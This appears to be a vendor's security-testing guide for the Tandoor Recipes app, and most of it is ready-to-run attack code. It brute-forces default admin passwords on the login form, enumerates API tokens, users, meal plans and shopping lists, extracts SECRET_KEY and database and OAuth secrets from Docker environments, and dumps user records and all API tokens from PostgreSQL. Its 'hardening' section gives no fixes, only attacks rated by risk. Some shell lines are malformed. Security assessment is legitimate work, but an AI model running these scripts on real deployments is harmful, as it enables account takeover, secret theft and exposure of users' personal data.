Tandoor Recipes Security Testing: Default Credentials, API Key, Database, and SECRET_KEY

Tandoor Recipes is a widely deployed self-hosted recipe management application — households and organizations use it to store recipes, plan meals, and generate shopping lists. Key assessment areas: SECRET_KEY is the Django session signing key enabling admin session forgery; the Django admin panel at /admin/ with default or weak credentials provides full database access; API tokens enable full recipe library, meal plan, and shopping list access; and the PostgreSQL database stores all recipes, nutritional data, and user meal planning information. This guide covers systematic Tandoor Recipes security assessment.

Table of Contents

  1. Default Credentials and Django Admin Testing
  2. API Token Recipe and Meal Plan Access
  3. SECRET_KEY and Database Extraction
  4. Tandoor Recipes Security Hardening

Default Credentials and Django Admin Testing

# Tandoor Recipes — default credentials and Django admin testing
TANDOOR_URL="https://recipes.example.com"

# Tandoor creates an initial superuser — test common weak passwords
for CRED in "admin:admin" "admin:password" "tandoor:tandoor" "admin:recipes123"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  # Get CSRF token first
  CSRF=$(curl -s -c /tmp/cjar "${TANDOOR_URL}/accounts/login/" 2>/dev/null | \
    grep -oP "csrfmiddlewaretoken.*?value=\"\K[^\"]+")
  RESULT=$(curl -s -b /tmp/cjar -c /tmp/cjar -L \
    -X POST "${TANDOOR_URL}/accounts/login/" \
    -d "username=${USER}&password=${PASS}&csrfmiddlewaretoken=${CSRF}" \
    -w "%{http_code}" -o /dev/null 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${RESULT}"
done

# Django admin panel — check access
curl -s -b /tmp/cjar "${TANDOOR_URL}/admin/" 2>/dev/null | \
  grep -c "Site administration" && echo "ADMIN ACCESS GRANTED"

# API token acquisition via Django admin
# If admin access granted — create API token for any user
curl -s -b /tmp/cjar "${TANDOOR_URL}/admin/knox/authtoken/" 2>/dev/null | \
  grep -oP 'token-key.*?\K[a-f0-9]{8}' | head -5

# REST API — get API token for the authenticated user
CSRF=$(curl -s -c /tmp/apijar "${TANDOOR_URL}/api/" 2>/dev/null | \
  grep -oP 'csrfToken.*?\K[a-f0-9]{64}')
curl -s -b /tmp/cjar -c /tmp/apijar \
  -X POST "${TANDOOR_URL}/api/auth/login/" \
  -H "X-CSRFToken: ${CSRF}" \
  -H "Content-Type: application/json" \
  -d "{\"username\":\"admin\",\"password\":\"admin\"}" 2>/dev/null | \
  python3 -c "import json,sys; d=json.load(sys.stdin); print(f'Token: {d.get(\"key\",\"\")}')" 2>/dev/null

API Token Recipe and Meal Plan Access

# Tandoor Recipes API token — recipe and meal plan access
TANDOOR_URL="https://recipes.example.com"
API_TOKEN="your-tandoor-api-token"

# Get all recipes
curl -s "${TANDOOR_URL}/api/recipe/?page_size=100" \
  -H "Authorization: Token ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
recipes = d.get('results',[])
total = d.get('count',0)
print(f'Recipes: {total} (showing {len(recipes)})')
for r in recipes[:10]:
    print(f'  [{r.get(\"id\")}] {r.get(\"name\")}')
    print(f'    keywords={[k.get(\"name\") for k in r.get(\"keywords\",[])[:3]]}')
    print(f'    servings={r.get(\"servings\")} rating={r.get(\"rating\")}')
" 2>/dev/null

# Get meal plans for all users (admin API)
curl -s "${TANDOOR_URL}/api/meal-plan/?page_size=50" \
  -H "Authorization: Token ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
plans = d.get('results',[])
print(f'Meal plans: {d.get(\"count\",0)}')
for p in plans[:10]:
    print(f'  [{p.get(\"id\")}] {p.get(\"meal_name\")} on {p.get(\"date\")}')
    print(f'    recipe={p.get(\"recipe\",{}).get(\"name\")} servings={p.get(\"servings\")}')
" 2>/dev/null

# Get shopping lists
curl -s "${TANDOOR_URL}/api/shopping-list/?page_size=50" \
  -H "Authorization: Token ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
lists = d.get('results',[])
print(f'Shopping lists: {d.get(\"count\",0)}')
for sl in lists[:5]:
    print(f'  [{sl.get(\"id\")}] created={str(sl.get(\"created_at\",\"\"))[:10]}')
    for entry in sl.get('entries',[])[:5]:
        print(f'    {entry.get(\"amount\")} {entry.get(\"unit\",{}).get(\"name\")} {entry.get(\"ingredient\",{}).get(\"name\")}')
" 2>/dev/null

# User enumeration
curl -s "${TANDOOR_URL}/api/user/?page_size=50" \
  -H "Authorization: Token ${API_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('results',[])
print(f'Users: {d.get(\"count\",0)}')
for u in users:
    print(f'  [{u.get(\"id\")}] {u.get(\"username\")} ({u.get(\"first_name\")} {u.get(\"last_name\")})')
    print(f'    admin={u.get(\"is_superuser\")} active={u.get(\"is_active\")}')
" 2>/dev/null

SECRET_KEY and Database Extraction

# Tandoor Recipes SECRET_KEY and database extraction

# Docker environment variables
docker inspect tandoor_recipes_nginx 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['SECRET','PASSWORD','DB_','POSTGRES','SOCIALACCOUNT']):
            print(e)
" 2>/dev/null

docker inspect tandoor_recipes_web 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['SECRET_KEY','POSTGRES','DB_','OAUTH','SOCIAL']):
            print(e)
" 2>/dev/null
# SECRET_KEY — Django session signing key
# POSTGRES_HOST, POSTGRES_DB, POSTGRES_USER, POSTGRES_PASSWORD
# SOCIALACCOUNT_PROVIDERS — OAuth config with client_id and secret

# PostgreSQL — all Tandoor data
DB_URL="postgresql://tandoor:PASSWORD@localhost/tandoor"
psql "$DB_URL" 2>/dev/null << 'EOF'
-- All user accounts with admin status
SELECT u.id, u.username,
       u.email,
       u.first_name, u.last_name,
       u.is_superuser, u.is_staff,
       u.last_login, u.date_joined
FROM auth_user u
ORDER BY u.is_superuser DESC, u.date_joined ASC
LIMIT 20;
EOF

-- All recipes with content
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT r.id, r.name,
       r.description,
       LENGTH(r.description) as desc_length,
       r.servings, r.rating,
       r.source_url,
       u.username as created_by,
       r.created_at
FROM recipe_recipe r
LEFT JOIN auth_user u ON r.created_by_id = u.id
ORDER BY r.created_at DESC
LIMIT 20;
EOF

-- All API tokens (knox tokens)
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT t.token_key,
       t.created,
       t.expiry,
       u.username, u.email
FROM knox_authtoken t
JOIN auth_user u ON t.user_id = u.id
ORDER BY t.created DESC
LIMIT 10;
EOF

Tandoor Recipes Security Hardening

Tandoor Recipes Security Hardening Checklist:
Security TestMethodRisk
SECRET_KEY extraction and Django session cookie forgeryRead .env SECRET_KEY — forge Django session cookies for the superuser account; full admin panel access to all data models including users, recipes, meal plans, and API tokens; CSRF token forgery for all state-changing operationsHigh
Django admin default credential testingPOST /accounts/login/ with admin/admin — access to full Django admin at /admin/ enabling direct database record manipulation, user account creation, and API token generation for any userHigh
API token extraction from knox_authtoken tableSELECT token_key FROM knox_authtoken — all active API tokens; each token provides recipe, meal plan, and shopping list access for the associated user; tokens do not expire by defaultHigh
Meal plan and dietary preference data access via APIGET /api/meal-plan/ with API token — complete meal planning data revealing dietary restrictions, food preferences, and daily eating patterns; PII if accessed for other usersMedium
User enumeration via API endpointGET /api/user/ with authenticated token — all user accounts with usernames, email addresses, and admin status; used to target accounts for credential attacks or phishingMedium

Automate Tandoor Recipes Security Testing

Ironimo tests Tandoor Recipes deployments for SECRET_KEY Django session cookie forgery, Django admin default credential testing (/admin/ access), knox_authtoken table API token extraction, meal plan and dietary preference data access, user enumeration via API, PostgreSQL recipe and user data extraction, Docker SECRET_KEY/POSTGRES_PASSWORD/SOCIALACCOUNT_PROVIDERS credential exposure, OAuth provider client secret extraction, recipe source_url sensitive content analysis, and Knox token expiration policy assessment.

Start free scan